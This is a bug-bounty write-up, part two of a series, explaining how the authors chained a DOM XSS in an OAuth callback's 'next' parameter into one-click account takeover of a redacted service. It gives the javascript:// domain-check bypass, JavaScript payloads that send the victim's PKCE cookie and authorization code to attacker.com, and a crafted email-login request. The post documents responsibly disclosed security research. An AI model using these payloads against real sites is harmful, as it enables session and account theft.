How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000 - Part 2

This is the second part of our blog series on How we escalated a DOM XSS to a sophisticated 1-click Account Takeover for $8000:

If you haven’t read the first part, we highly recommend you to do so to understand the context of this blog post.

III. DOM XSS to 1-click Account Takeover

Here is the sequence diagram of the complete OAuth flow from Part 1:

1. Finding the DOM XSS 🔎🐛

At step 8 of the login flow, the value of next parameter will be placed in the destination property, where the client-side JavaScript will then use to redirect the webpage.

As we can see, the destination URL is used at href sink. A typical sink for javascript: protocol DOM XSS.

However, when trying the typical payload, we are greeted with a 500 Internal Server Error

Let’s bypass this (☞゚ヮ゚)☞

1
2
3
4
5
6
7
8
9
10
11
Here are my attempts:

javascript:alert(1) => ❌ Does not work

https://attacker.com => ❌ Does not work

https://account.partner.com/random_stuff_here => ✅ Works

javascript://account.partner.com/random_stuff_here => ✅ Works

javascript://account.partner.com/%0Aalert(1) => ✅ Works

So basically, the server only checks for the domain name if it is account.partner.com after :// without checking the protocol.

Moreover, javascript://account.partner.com/%0Aalert(1) is a completely valid XSS payload.

In JS, // is treated as a line comment, so it will comment out the account.partner.com part and %0A will creates a newline where alert(1) will be executed.

You can try this yourself on the browser console.

1
window.location.href = "javascript://account.partner.com/%0Aalert(1)"

So we now have a valid XSS payload to bypass the domain name check!

2. First attempt on performing the ATO 😥

In order for us to perform the ATO we need to get 2 things:

  • The code verifier (available in the xxxxx-pkce cookie) associated with the authorization code
  • The authorization code (available on the URL)

We can both get these with our XSS and send them back to our attacker’s server.

However, there is one catch:

Our XSS on

1
https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0Aalert(window.location.href)&code=<authorization_code>

is only executed after the authorization code is used successfully.

As you can see, the authorization_code is already used and verified at step 9.

Because the authorization_code is only allowed to use 1 time only, when we try to exchange the captured authorization_code and code_verifier for the victim’s access token at POST /access_token the following error will occur:

1
{"error":"invalid_grant","errorDescription":"`code` is expired"}

We need to find some way to allow us to capture the victim’s code verifier and the associated authorization code before it is used!

3. How we overcome the 1-time code issue 😤

  • In order to get the valid access token of the victim, we need to get their code verifier (xxxxx-pkce) and the unused generated authorization code (code).

  • Few hours later, we came up with the idea of forcing the victim’s browser to use the attacker’s authorization code to trigger the XSS and steal the victim’s unused authorization code.

  • We will first tamper the redirect_uri parameter to something like this:

    1
    https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>
  • The /oauth_callback at step 7 will look like this:

    • Please notice that now there are 2 code params in the URL as the server will prepend the newly generated victim’s authorization_code to the previous supplied redirect_uri
    1
    https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A<XSS_PAYLOAD_STEAL_2nd_CODE>&code=<victim_code>
  • This time the application will use the first code parameter in the URL and log the victim into the Attacker’s account.

  • After that the XSS will be triggered, sending the unused victim’s authorization code (the second code) to the attacker’s server.

  • The attacker can now use this unused code for exchanging the victim’s access token.

  • We also need to take the code_verifier(xxxxx-pkce cookie) into account.

  • Essentially, we will force the victim into using the attacker’s authorization_code and the code_verifier for logging in, then we will steal their unused authorization_code and code_verifier.

  • The flow will look like this:

    Link to the the sequence diagram in SVG format

    1. Victim clicks on the malicious link and login on page account.redacted.com. The link will look like this:

      1
      https://account.redacted.com/authorize?redirect_uri=https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0A[XSS payload 1]&response_type=code
    2. After logging in successfully, account.redacted.com will return the authorization_code within the redirect_uri and then redirect victim to that redirect_url

      1
      redirect_url = redirect_uri + "<authorization_code>"

      In this case, the redirect URL will be:

      1
      redirect_url = "https://account.partner.com/oauth_callback?next=javascript://account.partner.com/%0A[XSS payload 1]" + "&code=<authorization_code>"
    3. account.partner.com will verify this authorization_code along with the code_verifier.

      After that, the victim continues to get redirected to the URL stored in the parameter next (which is also a XSS payload)

      1
      next=javascript://account.partner.com/%0A[XSS payload 1]
    4. The XSS payload 1 will trigger and do 3 things:

      • Send the current victim’s cookie xxxxx-pkce (code_verifier) back to attacker’s server
      • Set the victim’s xxxxx-pkce cookie to the attacker’s xxxxx-pkce cookie
      • Force the victim to perform the OAuth flow again with the attacker's authorization code. Hence, logging the victim to the attacker’s account.

      XSS payload 1:

      1
      2
      3
      4
      5
      6
      7
      8
      // The pkce is stored in the cookie, so we just need to send all the cookie to the attacker's server
      fetch("//attacker.com?pkce=" + document.cookies)
      .then(r => {
      // Set the attacker's pkce on the victim's browser
      document.cookie="xxxxx-pkce = <attacker_pkce>"
      // Force the victim to perform the OAuth flow again to log the victim in the attacker's account and trigger the 2nd XSS
      window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=<attacker-code>&next=javascript://account.partner.com/%0A[XSS payload 2]")
      })

      This time the redirect_uri will looks like this:

      1
      https://account.partner.com/oauth_callback?code=<attacker_code>&next=javascript://account.partner.com/%0A[XSS payload 2]
    5. Now, because both of the attacker’s xxxxx-pkce and code is valid, the victim will now successfully log in the attacker’s account and trigger the redirection containing XSS payload 2.

      • Please noticed on the first parameter code (attacker_code) is used for authenticating the victim to our attacker’s account. The second parameter code (victim_code) will still remain unused.
      • The XSS payload 2 will send the unused authorization_code from the URL back to attacker sserver.
      1
      2
      // the victim's authorization code will be in the url
      fetch("//attacker.com?code=" + window.location.href)
  • Overall, the crafted exploit URLs and XSS payloads should look like this:

    • Attack URL
    1
    https://account.redacted.com/authorize?redirect_uri=javascript://account.partner.com/%0A[XSS payload 1]
    • XSS payload 1
    1
    2
    3
    4
    5
    6
    7
    8
    // The pkce is stored in the cookie, so we just need to send all the cookie to the attacker's server
    fetch("//attacker.com?pkce=" + document.cookies)
    .then(r => {
    // Set the attacker's pkce on the victim's browser
    document.cookie="xxxxx-pkce = <attacker_pkce>"
    // Force the victim to perform the OAuth flow again to log the victim in the attacker's account and trigger the 2nd XSS
    window.location.href = "https://account.redacted.com/authorize?redirect_uri=" + url_encode("https://account.partner.com/oauth_callback?code=<attacker-code>&next=javascript://account.partner.com/%0A[XSS payload 2]")
    })
    • XSS payload 2
    1
    2
    // the victim's authorization code will be in the url
    fetch("//attacker.com?code=" + window.location.href)
  • After receiving both of the victim’s authorization_code and code_verifier on our attacker’s server. We can use them to exchange for the access token 💪💪💪

4. Escalate, escalate, escalate,… to one-click mail ATO 🏃‍♂️🏃‍♂️🏃‍♂️

  • After the success in performing the ATO by tricking the user into clicking on the crafted link, this is clearly a valid issue and we could submit the bug and then rest 😴.
  • However, our ego (😎) told us that this was still not the maximum impact of this bug, therefore, we continued to raise the impact.
  • The problem that stops this bug from maximizing the impact is it requires a huge effort in the social engineering state to trick the victim into clicking on the crafted link. Obviously, there is a very small chance that the user will click on the lengthy link like that.
  • At this state, the first possible solution that comes across our mind is using the logging with email verification link function and injecting the malicious link via redirect parameter.
  • We continued to search the app and found all of the possible login portals. Luckily, we found 2 of them that allow user login via email.
  • Here is the request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /v1/email/login/request HTTP/2
Host: api.xxxxxx.com
Cookie: <====SNIP====>
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://account.xxxx.com/
Content-Type: application/json
X-Locale-Language: en-US
Content-Length: 202
Origin: https://account.xxxxx.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

{"email":"longtheshrimp@wearehackerone.com","next_url":"<===XSS_REDIRECT_HERE===>","login_session_uuid":"697a3410-11ff-4ba6-bd31-3b26ed7dfac5"}
  • This will send an email with the log-in link to the victim
  • After the victim clicks on the “Log in” button, there will be 2 cases:
    • If the victim is logged in: The application will automatically redirect the victim back to our malicious link in the parameter next_url ⇒ The ATO XSS is triggered
    • If the victim is not logged in: The login link from the email will automatically log the victim into his account. After that, the victim will be redirected back to our malicious link in the parameter next_url ⇒ The ATO XSS is triggered

⇒ 💣💣💣 So that is our full chain of One-click ATO via the target’s email.

In our actual exploit, we have created a script to automate all the steps we’ve mentioned.

IV. Conclusion

We hope that you guys enjoy our first blog post! Some details has been ruled out (encoding, payload length limiting, …) in order to keep this blog post concise and not too confusing.

We truly believe that by focusing on understanding how every thing works, interesing issues will start showing up!

This vulnerability took us a whole week to identify and write the fully functional exploit. Another week to explain and go through the triaging stages.

Side story, this is also our first time having a Google Meet session with the program’s security team. We had to perform the exploit live to demonstrate the impact until 2AM in the morning. It was a pretty fun experience. :D

Finally, our hard work was paid off with a reward of $8000 🤩

Thank you for reading! We hope that we’ll find more interesting cases in the future to share with you guys!